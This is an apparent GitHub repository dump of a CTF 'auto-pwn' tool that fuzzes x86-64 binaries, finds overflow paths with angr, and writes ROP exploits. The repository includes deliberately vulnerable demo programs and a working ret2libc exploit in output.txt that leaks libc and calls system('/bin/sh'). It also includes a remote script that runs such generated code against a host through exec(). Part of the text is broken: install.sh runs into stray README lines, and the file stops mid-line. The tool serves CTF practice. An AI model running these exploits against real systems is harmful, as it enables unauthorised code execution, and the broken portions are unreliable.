├── AUTO-PWN ├── local_use │ ├── output.txt │ ├── fuzz-demo │ │ ├── demo1 │ │ ├── demo2 │ │ ├── demo4 │ │ ├── ubuntu20 │ │ ├── demo1.c │ │ ├── demo2.c │ │ └── demo4.c │ ├── __pycache__ │ │ ├── fuzz.cpython-36.pyc │ │ └── fuzz2.cpython-36.pyc │ ├── function_list │ ├── test.py │ ├── fuzz2.py │ ├── fuzz.py │ └── HRP-FUZZ-2.0.py └── remote_auto │ ├── test_env │ ├── flag │ ├── fuzz-demo │ │ ├── demo1 │ │ ├── demo4 │ │ ├── demo1.c │ │ └── demo4.c │ └── serve.py │ └── remote_auto_pwn │ ├── remote_pwn │ ├── __pycache__ │ ├── fuzz.cpython-36.pyc │ └── fuzz2.cpython-36.pyc │ ├── function_list │ ├── remote_auto.py │ ├── output.txt │ ├── fuzz2.py │ ├── fuzz.py │ └── HRP-FUZZ-2.0.py ├── LICENSE ├── HRP-CTF-PWN-FUZZ-v1.0 └── HRP-FUZZ-V1.0 │ ├── LICENSE │ ├── README.md │ ├── syscall_table.txt │ └── HRP-FUZZ-V1.1.py ├── install.sh └── README.md /AUTO-PWN/local_use/output.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/test_env/flag: -------------------------------------------------------------------------------- 1 | flag{PWn_t-THEword} 2 | -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz-demo/demo1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/local_use/fuzz-demo/demo1 -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz-demo/demo2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/local_use/fuzz-demo/demo2 -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz-demo/demo4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/local_use/fuzz-demo/demo4 -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz-demo/ubuntu20: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/local_use/fuzz-demo/ubuntu20 -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/test_env/fuzz-demo/demo1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/remote_auto/test_env/fuzz-demo/demo1 -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/test_env/fuzz-demo/demo4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/remote_auto/test_env/fuzz-demo/demo4 -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/remote_pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/remote_auto/remote_auto_pwn/remote_pwn -------------------------------------------------------------------------------- /AUTO-PWN/local_use/__pycache__/fuzz.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/local_use/__pycache__/fuzz.cpython-36.pyc -------------------------------------------------------------------------------- /AUTO-PWN/local_use/__pycache__/fuzz2.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/local_use/__pycache__/fuzz2.cpython-36.pyc -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/__pycache__/fuzz.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/remote_auto/remote_auto_pwn/__pycache__/fuzz.cpython-36.pyc -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/__pycache__/fuzz2.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexian2001/HRP-Nnepnep-auto-pwn/HEAD/AUTO-PWN/remote_auto/remote_auto_pwn/__pycache__/fuzz2.cpython-36.pyc -------------------------------------------------------------------------------- /AUTO-PWN/local_use/function_list: -------------------------------------------------------------------------------- 1 | read 2 | gets 3 | puts 4 | printf 5 | strcpy 6 | __isoc99_scanf 7 | free 8 | malloc 9 | atoi 10 | strncpy 11 | system 12 | syscall 13 | execve 14 | write 15 | eh_frame 16 | main 17 | mmap 18 | prctl 19 | alarm -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/function_list: -------------------------------------------------------------------------------- 1 | read 2 | gets 3 | puts 4 | printf 5 | strcpy 6 | __isoc99_scanf 7 | free 8 | malloc 9 | atoi 10 | strncpy 11 | system 12 | syscall 13 | execve 14 | write 15 | eh_frame 16 | main 17 | mmap 18 | prctl 19 | alarm -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz-demo/demo1.c: -------------------------------------------------------------------------------- 1 | #include 2 | void init() 3 | { 4 | setbuf(stdin,0); 5 | setbuf(stdout,0); 6 | } 7 | void bug() 8 | { 9 | char buf[0x10]; 10 | int a=0; 11 | scanf("%d",&a); 12 | if(a==789) 13 | { 14 | read(0,buf,0x100); 15 | } 16 | } 17 | int main(int argc, char const *argv[]) 18 | { 19 | init(); 20 | puts("WELCOME"); 21 | bug(); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/test_env/fuzz-demo/demo1.c: -------------------------------------------------------------------------------- 1 | #include 2 | void init() 3 | { 4 | setbuf(stdin,0); 5 | setbuf(stdout,0); 6 | } 7 | void bug() 8 | { 9 | char buf[0x10]; 10 | int a=0; 11 | scanf("%d",&a); 12 | if(a==789) 13 | { 14 | read(0,buf,0x100); 15 | } 16 | } 17 | int main(int argc, char const *argv[]) 18 | { 19 | init(); 20 | puts("WELCOME"); 21 | bug(); 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz-demo/demo2.c: -------------------------------------------------------------------------------- 1 | #include 2 | void bug() 3 | { 4 | puts("username:"); 5 | char buf[0x20]; 6 | read(0,buf,0x20); 7 | if(!strcmp("HRPHRP",buf)) 8 | { 9 | puts("password:"); 10 | read(0,buf,0x666); 11 | } 12 | } 13 | void init() 14 | { 15 | setbuf(stdin,0); 16 | setbuf(stdout,0); 17 | } 18 | int main(int argc, char const *argv[]) 19 | { 20 | int a; 21 | 22 | scanf("%d",&a); 23 | switch(a){ 24 | case 1:printf("%s\n","i am 1" );break; 25 | case 2:printf("%s\n","i am 2" );break; 26 | case 3:bug();break; 27 | default:break; 28 | } 29 | 30 | return 0; 31 | } -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz-demo/demo4.c: -------------------------------------------------------------------------------- 1 | #include 2 | void bug() 3 | { 4 | char buf[0x100]; 5 | read(0, buf, 0x300); 6 | } 7 | void test1() 8 | { 9 | int a; 10 | char buf[0x30]; 11 | read(0, buf, 0x10); 12 | scanf("%d", & a); 13 | getchar(); 14 | if (!strcmp(buf, "HRPSS\n")) 15 | { 16 | bug(); 17 | } 18 | if (a == 123) 19 | { 20 | puts("NOOOO"); 21 | } 22 | } 23 | void init() 24 | { 25 | setbuf(stdin, 0); 26 | setbuf(stdout, 0); 27 | } 28 | int main(int argc, char const * argv[]) 29 | { 30 | init(); 31 | puts("demo4"); 32 | test1(); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/test_env/fuzz-demo/demo4.c: -------------------------------------------------------------------------------- 1 | #include 2 | void bug() 3 | { 4 | char buf[0x100]; 5 | read(0, buf, 0x300); 6 | } 7 | void test1() 8 | { 9 | int a; 10 | char buf[0x30]; 11 | read(0, buf, 0x10); 12 | scanf("%d", & a); 13 | getchar(); 14 | if (!strcmp(buf, "HRPSS\n")) 15 | { 16 | bug(); 17 | } 18 | if (a == 123) 19 | { 20 | puts("NOOOO"); 21 | } 22 | } 23 | void init() 24 | { 25 | setbuf(stdin, 0); 26 | setbuf(stdout, 0); 27 | } 28 | int main(int argc, char const * argv[]) 29 | { 30 | init(); 31 | puts("demo4"); 32 | test1(); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/remote_auto.py: -------------------------------------------------------------------------------- 1 | # encoding=utf-8 2 | from pwn import * 3 | import sys 4 | import os 5 | 6 | context(log_level='debug', arch='amd64') 7 | r = remote(sys.argv[1], sys.argv[2]) 8 | data = base64.b64decode(r.recvline(timeout=5).decode("ASCII")) 9 | # r.sendline('execute') 10 | open("remote_pwn", "wb").write(data) 11 | os.system("python3 HRP-FUZZ-2.0.py ./remote_pwn auto remote ") 12 | elf = ELF('remote_pwn') 13 | libc = elf.libc 14 | # 读取文本文件,每一行作为代码片段执行,并保存变量 15 | code_dict = {} 16 | with open('output.txt', 'r') as f: 17 | for line in f: 18 | line = line.strip() 19 | if line: 20 | exec(line, globals(), code_dict) 21 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/output.txt: -------------------------------------------------------------------------------- 1 | r.recv(timeout=1) 2 | rdi=0x400863 3 | rdx=next(libc.search(asm('pop rdx;ret'))) 4 | pop_rsi_r15_ret=0x400861 5 | ret=0x400294 6 | Hierarchical=0x4006f7 7 | r.recv(timeout=1) 8 | r.sendline(b'HRPSS') 9 | r.recv(timeout=1) 10 | r.sendline(b'0') 11 | puts_got=elf.got['puts'] 12 | puts_plt=elf.plt['puts'] 13 | payload=b'a'*0x108+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(Hierarchical) 14 | r.send(payload) 15 | leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 16 | base=leak-libc.sym['puts'] 17 | sh=base+next(libc.search(b'/bin/sh')) 18 | system=base+libc.sym['system'] 19 | payload2=b'a'*0x108+p64(rdi)+p64(sh)+p64(ret)+p64(system)+p64(Hierarchical) 20 | r.send(payload2) 21 | r.sendline('cat flag') 22 | r.interactive() 23 | -------------------------------------------------------------------------------- /AUTO-PWN/local_use/test.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from capstone import * 3 | from pwn import * 4 | 5 | def main(): 6 | if len(sys.argv) != 2: 7 | print("Usage: python3 elf_functions.py ") 8 | sys.exit(1) 9 | 10 | elf_file_path = sys.argv[1] 11 | elf = ELF(elf_file_path) 12 | 13 | User_Function = {} 14 | 15 | for section in elf.iter_sections(): 16 | if section.is_executable() and section.name == ".text": 17 | md = Cs(CS_ARCH_X86, CS_MODE_64) 18 | data = section.data() 19 | base_addr = section.header.sh_addr 20 | 21 | for i in md.disasm(data, base_addr): 22 | if i.mnemonic == 'call': 23 | func_start = hex(i.operands[0].imm) 24 | func_end = hex(i.address + i.size) 25 | if func_start not in User_Function: 26 | User_Function[func_start] = func_end 27 | 28 | print("User_Function: ", User_Function) 29 | 30 | if __name__ == '__main__': 31 | main() 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 HRP 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 10 | -------------------------------------------------------------------------------- /HRP-CTF-PWN-FUZZ-v1.0/HRP-FUZZ-V1.0/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 hexian2001 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/test_env/serve.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import base64 3 | import subprocess 4 | 5 | # 读取待发送的 ELF 文件 6 | with open('./fuzz-demo/demo4', 'rb') as f: 7 | elf_data = f.read() 8 | 9 | # base64 编码 ELF 文件数据 10 | elf_base64 = base64.b64encode(elf_data).decode() 11 | 12 | # 创建 TCP 服务器套接字 13 | host = '' # 监听所有可用接口 14 | port = 12345 # 监听端口 15 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | server_socket.bind((host, port)) 17 | server_socket.listen(10) # 最大连接数为 10 18 | 19 | print(f'TCP server is listening on {host}:{port}...') 20 | 21 | while True: 22 | # 接受客户端连接请求 23 | client_socket, client_address = server_socket.accept() 24 | print(f'Accepted connection from {client_address}') 25 | 26 | try: 27 | # 发送 ELF 文件数据 28 | client_socket.sendall(elf_base64.encode() + b'\n') 29 | print('ELF file has been sent successfully.') 30 | 31 | # 执行 ELF 文件,并将 stdin 和 stdout 重定向到客户端套接字 32 | process = subprocess.Popen( 33 | ['./fuzz-demo/demo4'], 34 | stdin=client_socket, 35 | stdout=client_socket, 36 | stderr=subprocess.PIPE) 37 | # process.wait() 38 | print('ELF file has been executed.') 39 | except Exception as e: 40 | print(e) 41 | print('Failed to send ELF file.') 42 | 43 | # 关闭客户端连接 44 | client_socket.close() 45 | -------------------------------------------------------------------------------- /HRP-CTF-PWN-FUZZ-v1.0/HRP-FUZZ-V1.0/README.md: -------------------------------------------------------------------------------- 1 | # 基于pwntools的有限特征fuzz和简单rop利用工具 2 | 3 | # 引言 4 | 5 | ``` 6 | 做这个东西开始是为了当做软工作业的,但是写着写着发现挺有意思的,虽然后续想要再提高准确率和容纳更多特征,可能要整个项目 7 | 8 | 推倒重来,但是目前来看这个逻辑思想还是可以的,适用于常规AMD64 CTF PWN ,I386的我是没兴趣做了,太复杂的,汇编特征不稳定,凭我一个人的精力是没可能的。 9 | ``` 10 | 11 | # 原理 12 | 13 | ``` 14 | 第一步 利用pwntools查找限定函数,查找到后赋值到变量。 15 | 16 | 下一步进行的就是fuzz比对,先判断程序编译的系统版本,分为18or16和20两大类型 17 | 18 | 然后用pwntools的search查询call指令的特征0XE8存在的地址把他们全部加入到数组,并且提取出此时call的相对地址 19 | 20 | 下一步,把限定函数的地址与数组里面的地址进行公式校验,得出fuzz地址 用这个地址和call的相对地址比对,比对成功就是证明此处call的是该限定函数,具体解释去看脚本内注释 21 | 22 | 下一步,检查该限定函数是否在危险函数定义分支里面,是的话则做出相对应的检测操作,返回相关数据到用户屏幕 23 | 24 | 最后,如果存在后门和溢出,再分别进行利用判断,满足条件给出建议性EXP(这里后续会扩展多种模板利用EXP) 25 | ``` 26 | 27 | # 功能 28 | 29 | 功能一:可检测函数列表如下,用户可以自定义增加,源码不复杂。 30 | 31 | ``` 32 | read_addr=0 33 | gets_addr=0 34 | puts_addr=0 35 | printf_addr=0 36 | strcpy_addr=0 37 | scanf_addr=0 38 | free_addr=0 39 | malloc_addr=0 40 | atoi_addr=0 41 | strncpy_addr=0 42 | system_addr=0 43 | syscall_addr=0 44 | execve_addr=0 45 | write_addr=0 46 | mmap_addr=0 47 | ``` 48 | 49 | 功能二:提供危险函数检测,列表如下 50 | 51 | ``` 52 | read 溢出:常规溢出,栈迁移,堆相关的off by null 53 | gets 检测到就定义为溢出 54 | printf 检测格式化字符串 55 | strcpy 检测rsi是否大于rdi 56 | scanf 检测是否有%s字符串被scanf调用,有则为溢出 57 | free 检测uaf 58 | strncpy 检测rdx是否大于rdi 59 | system 查看各自危险调用以及参数是否可控 60 | syscall 查看系统调用号并且给出相对应的函数 61 | execve 同system 62 | mmap 查询长度 地址 权限 63 | ``` 64 | 65 | 功能三:自动化生成EXP模板,列表如下 66 | 67 | ``` 68 | 1.read常规溢出rop,未开启pie canary 提供puts write2种模板 ,提供ret2libc_orw_puts模板 69 | 2.栈迁移 getshell利用 未开启 pie canary #不能打通的尝试把脚本内的bss选址改一下以及尝试使用system("/bin/sh")打 不要用onegadget onegadget在Ubuntu20 22上要求比较苛刻 70 | 71 | 关于模板的讲解: 72 | 这个只是一个模板,注意,注意,注意! 73 | 原来就是在检测到的溢出点上进行的EXP自动化生成,如何到达溢出点以及是否能成功达到预期效果最终都还需要用户亲自调试尝试,模板的作用在于节省时间,抵制小作文题目。模板准确率和利用率我个人认为是不算低的,当然,仅供参考,还是希望各位如果有需求的师傅如果用了模板打不通可以自己在脚本gdb动调下 74 | ``` 75 | 76 | # 未来应该能实现的功能 77 | 78 | ``` 79 | 1.沙盒通防 80 | 2.多种栈溢出下的orw模板 81 | 3.给出格式化字符串漏洞利用模板 82 | ``` 83 | 84 | 85 | 86 | # 环境需求 87 | 88 | 运行需要依赖pwntools,numpy和python2 89 | 90 | pwntools https://github.com/Gallopsled/pwntools #4.5版本 91 | 92 | pip install numpy 93 | 94 | # 运行脚本命令 95 | 96 | ``` 97 | python2 fuzz.py ./binary_name 98 | ``` 99 | 100 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | red='\033[0;31m' 3 | green='\033[0;32m' 4 | 5 | 6 | check_system(){ 7 | local checkType=$1 8 | local value=$2 9 | 10 | local release='' 11 | local systemPackage='' 12 | 13 | if [[ -f /etc/redhat-release ]]; then 14 | release='centos' 15 | systemPackage='yum' 16 | elif grep -Eqi 'debian|raspbian' /etc/issue; then 17 | release='debian' 18 | systemPackage='apt' 19 | elif grep -Eqi 'ubuntu' /etc/issue; then 20 | release='ubuntu' 21 | systemPackage='apt' 22 | elif grep -Eqi 'centos|red hat|redhat' /etc/issue; then 23 | release='centos' 24 | systemPackage='yum' 25 | elif grep -Eqi 'debian|raspbian' /proc/version; then 26 | release='debian' 27 | systemPackage='apt' 28 | elif grep -Eqi 'ubuntu' /proc/version; then 29 | release='ubuntu' 30 | systemPackage='apt' 31 | elif grep -Eqi 'centos|red hat|redhat' /proc/version; then 32 | release='centos' 33 | systemPackage='yum' 34 | fi 35 | 36 | if [[ "${checkType}" == 'sysRelease' ]]; then 37 | if [ "${value}" == "${release}" ]; then 38 | return 0 39 | else 40 | return 1 41 | fi 42 | elif [[ "${checkType}" == 'packageManager' ]]; then 43 | if [ "${value}" == "${systemPackage}" ]; then 44 | return 0 45 | else 46 | return 1 47 | fi 48 | fi 49 | } 50 | 51 | if check_system packageManager yum; then 52 | sudo -s < 79 | 80 | ### 2.路径回调模式 81 | 82 | 1679060474882 83 | 84 | ### 3.一键攻击远程 85 | 86 | 1679236361470 87 | 88 | ## 解释说明 89 | 90 | ``` 91 | 1.angr符号执行准确度问题可以调整fuzz2.py中的input_size最小值或者最大值(默认分别是10,1024,最大值在HPR-FUZZ-2.0.py里面修改) 92 | 93 | 2.执行时长问题,我个人建议单个函数内的输入变量不要超过3个,一个if内不要夹杂大于2个变量的判断,这样时间会比较正常 94 | 95 | 3.关于模式1,2的说明,模式1重在通用,模式2重在面对排斥与if无关输入的变量,各有千秋,具体更有效的应该去调节input_size 96 | 97 | 4.我为什么不做canary,因为canary的填充基本上就是AI层面了(你怎么知道哪里是泄露点?),静态解决的概率渺茫 98 | 99 | 5.初级的autopwn比赛可以参考sctf2021年的题目 100 | ``` 101 | 102 | ## 个人碎碎念 103 | 104 | ``` 105 | 1.你说我这个工具他强吗?还真不强,那你说他有意义吗,我觉得有的,基于静态汇编分析+符号执行可以节约很多运行时间而且静态汇编特征准确度是非常高的。 106 | 2.我这玩意会是鸡肋吗?我觉得不会,对于0pwn人可以拿去试试看说不定能出exp呢?对于不会angr的可以看看我的fuzz2.py可以学习一波 107 | (虽然但是我以后再改进是不会采用angr的了,符号执行终究上限太低) 108 | ``` 109 | 110 | -------------------------------------------------------------------------------- /AUTO-PWN/local_use/fuzz2.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import claripy 3 | import angr 4 | import re 5 | from capstone import Cs, CS_ARCH_X86, CS_MODE_64 6 | from pwn import * 7 | from typing import List, Union 8 | 9 | 10 | def find_input_strings(binary_path: str, start_addr: int, end_addr: int, target_addr: int, max_input_size: int,file_os: int) -> Union[None, List[bytes]]: 11 | elf = ELF(binary_path) 12 | code = elf.read(start_addr, end_addr - start_addr) 13 | disassembler = Cs(CS_ARCH_X86, CS_MODE_64) 14 | instructions = list(disassembler.disasm(code, start_addr)) 15 | 16 | plt_reverse = {v: k for k, v in elf.plt.items()} 17 | 18 | project = angr.Project(binary_path, auto_load_libs=False) 19 | 20 | def constrain_inputs(state, start_addr, end_addr, target_addr, conditional_addresses): 21 | for addr in conditional_addresses: 22 | var = claripy.BVS("var_{}".format(addr), 32) 23 | state.memory.store(addr, var) 24 | state.add_constraints(state.solver.If(state.regs.rip == target_addr, var == 0xFFFFFDC9, True)) 25 | 26 | def find_num_inputs(project, disassembler, elf, plt_reverse, instructions,file_os): 27 | input_functions = {'__isoc99_scanf', 'fscanf', 'sscanf', 'read', 'fgets', 'gets'} 28 | num_inputs = 0 29 | input_addresses = set() 30 | conditional_addresses = set() 31 | if file_os==20: 32 | for m in list(plt_reverse.keys()): 33 | plt_reverse[m-4]=(plt_reverse[m]) 34 | plt_reverse.pop(m) 35 | for i, instruction in enumerate(instructions): 36 | if instruction.mnemonic == 'call': 37 | function_addr = int(instruction.op_str, 16) 38 | 39 | if function_addr in plt_reverse: 40 | func_name = plt_reverse[function_addr] 41 | 42 | if func_name in input_functions: 43 | num_inputs += 1 44 | 45 | prev_instruction = instructions[i - 1] 46 | if prev_instruction.mnemonic == 'lea': 47 | match = re.search(r'\[rbp(.*?)\]', prev_instruction.op_str) 48 | if match: 49 | mem_addr = int(match.group(1), 16) 50 | input_addresses.add(mem_addr) 51 | 52 | for instruction in instructions: 53 | if instruction.mnemonic == 'cmp': 54 | match = re.search(r'\[rbp(.*?)\],', instruction.op_str) 55 | if match: 56 | mem_addr = int(match.group(1), 16) 57 | 58 | if mem_addr in input_addresses: 59 | conditional_addresses.add(mem_addr) 60 | 61 | return num_inputs, conditional_addresses 62 | 63 | def find_inputs_to_reach_target(project, start_addr, end_addr, target_addr, max_input_size, num_inputs, conditional_addresses): 64 | def minimize_inputs(solutions): 65 | min_solutions = solutions.copy() 66 | for i, sol in enumerate(solutions): 67 | for c in sol: 68 | tmp_sol = sol.replace(bytes([c]), b'') 69 | tmp_input_data = input_data.copy() 70 | tmp_input_data[i] = tmp_sol 71 | tmp_input_stream = claripy.Concat(*tmp_input_data) 72 | 73 | tmp_initial_state = project.factory.blank_state(addr=start_addr, stdin=tmp_input_stream) 74 | constrain_inputs(tmp_initial_state, start_addr, end_addr, target_addr, conditional_addresses) 75 | 76 | tmp_simulation = project.factory.simulation_manager(tmp_initial_state) 77 | tmp_simulation.explore(find=target_addr, avoid=end_addr) 78 | 79 | if tmp_simulation.found: 80 | min_solutions[i] = tmp_sol 81 | break 82 | 83 | return min_solutions 84 | 85 | 86 | input_functions = {'__isoc99_scanf', 'fscanf', 'sscanf', 'read', 'fgets', 'gets'} 87 | 88 | for input_size in range(10, max_input_size + 1): 89 | input_data =[claripy.BVS("input_data_{}".format(i), 8 * input_size) for i in range(num_inputs)] 90 | input_stream = claripy.Concat(*input_data) 91 | initial_state = project.factory.blank_state(addr=start_addr, stdin=input_stream) 92 | constrain_inputs(initial_state, start_addr, end_addr, target_addr, conditional_addresses) 93 | 94 | simulation = project.factory.simulation_manager(initial_state) 95 | simulation.explore(find=target_addr, avoid=end_addr) 96 | 97 | if simulation.found: 98 | found_state = simulation.found[0] 99 | solutions = [found_state.solver.eval(input_data[i], cast_to=bytes) for i in range(num_inputs)] 100 | 101 | input_strings = [re.sub(br'[^a-zA-Z0-9+-]', b'', sol) for sol in solutions] 102 | minimized_input_strings = minimize_inputs(input_strings) 103 | return minimized_input_strings 104 | 105 | return None 106 | 107 | num_inputs, conditional_addresses = find_num_inputs(project, disassembler, elf, plt_reverse, instructions,file_os) 108 | result = find_inputs_to_reach_target(project, start_addr, end_addr, target_addr, max_input_size, num_inputs, conditional_addresses) 109 | 110 | if result is not None: 111 | print("Input to reach target address:", result) 112 | return result 113 | else: 114 | print("No input found to reach target address") 115 | return None 116 | 117 | if __name__ == "__main__": 118 | if len(sys.argv) != 6: 119 | print("Usage: python3 script.py ") 120 | sys.exit(1) 121 | binary_path = sys.argv[1] 122 | start_addr = int(sys.argv[2], 16) 123 | end_addr = int(sys.argv[3], 16) 124 | target_addr = int(sys.argv[4], 16) 125 | max_input_size = int(sys.argv[5]) 126 | file_os = int(sys.argv[5]) 127 | result = find_input_strings(binary_path, start_addr, end_addr, target_addr, max_input_size,file_os) 128 | -------------------------------------------------------------------------------- /AUTO-PWN/remote_auto/remote_auto_pwn/fuzz2.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import claripy 3 | import angr 4 | import re 5 | from capstone import Cs, CS_ARCH_X86, CS_MODE_64 6 | from pwn import * 7 | from typing import List, Union 8 | 9 | 10 | def find_input_strings(binary_path: str, start_addr: int, end_addr: int, target_addr: int, max_input_size: int,file_os: int) -> Union[None, List[bytes]]: 11 | elf = ELF(binary_path) 12 | code = elf.read(start_addr, end_addr - start_addr) 13 | disassembler = Cs(CS_ARCH_X86, CS_MODE_64) 14 | instructions = list(disassembler.disasm(code, start_addr)) 15 | 16 | plt_reverse = {v: k for k, v in elf.plt.items()} 17 | 18 | project = angr.Project(binary_path, auto_load_libs=False) 19 | 20 | def constrain_inputs(state, start_addr, end_addr, target_addr, conditional_addresses): 21 | for addr in conditional_addresses: 22 | var = claripy.BVS("var_{}".format(addr), 32) 23 | state.memory.store(addr, var) 24 | state.add_constraints(state.solver.If(state.regs.rip == target_addr, var == 0xFFFFFDC9, True)) 25 | 26 | def find_num_inputs(project, disassembler, elf, plt_reverse, instructions,file_os): 27 | input_functions = {'__isoc99_scanf', 'fscanf', 'sscanf', 'read', 'fgets', 'gets'} 28 | num_inputs = 0 29 | input_addresses = set() 30 | conditional_addresses = set() 31 | if file_os==20: 32 | for m in list(plt_reverse.keys()): 33 | plt_reverse[m-4]=(plt_reverse[m]) 34 | plt_reverse.pop(m) 35 | for i, instruction in enumerate(instructions): 36 | if instruction.mnemonic == 'call': 37 | function_addr = int(instruction.op_str, 16) 38 | 39 | if function_addr in plt_reverse: 40 | func_name = plt_reverse[function_addr] 41 | 42 | if func_name in input_functions: 43 | num_inputs += 1 44 | 45 | prev_instruction = instructions[i - 1] 46 | if prev_instruction.mnemonic == 'lea': 47 | match = re.search(r'\[rbp(.*?)\]', prev_instruction.op_str) 48 | if match: 49 | mem_addr = int(match.group(1), 16) 50 | input_addresses.add(mem_addr) 51 | 52 | for instruction in instructions: 53 | if instruction.mnemonic == 'cmp': 54 | match = re.search(r'\[rbp(.*?)\],', instruction.op_str) 55 | if match: 56 | mem_addr = int(match.group(1), 16) 57 | 58 | if mem_addr in input_addresses: 59 | conditional_addresses.add(mem_addr) 60 | 61 | return num_inputs, conditional_addresses 62 | 63 | def find_inputs_to_reach_target(project, start_addr, end_addr, target_addr, max_input_size, num_inputs, conditional_addresses): 64 | def minimize_inputs(solutions): 65 | min_solutions = solutions.copy() 66 | for i, sol in enumerate(solutions): 67 | for c in sol: 68 | tmp_sol = sol.replace(bytes([c]), b'') 69 | tmp_input_data = input_data.copy() 70 | tmp_input_data[i] = tmp_sol 71 | tmp_input_stream = claripy.Concat(*tmp_input_data) 72 | 73 | tmp_initial_state = project.factory.blank_state(addr=start_addr, stdin=tmp_input_stream) 74 | constrain_inputs(tmp_initial_state, start_addr, end_addr, target_addr, conditional_addresses) 75 | 76 | tmp_simulation = project.factory.simulation_manager(tmp_initial_state) 77 | tmp_simulation.explore(find=target_addr, avoid=end_addr) 78 | 79 | if tmp_simulation.found: 80 | min_solutions[i] = tmp_sol 81 | break 82 | 83 | return min_solutions 84 | 85 | 86 | input_functions = {'__isoc99_scanf', 'fscanf', 'sscanf', 'read', 'fgets', 'gets'} 87 | 88 | for input_size in range(10, max_input_size + 1): 89 | input_data =[claripy.BVS("input_data_{}".format(i), 8 * 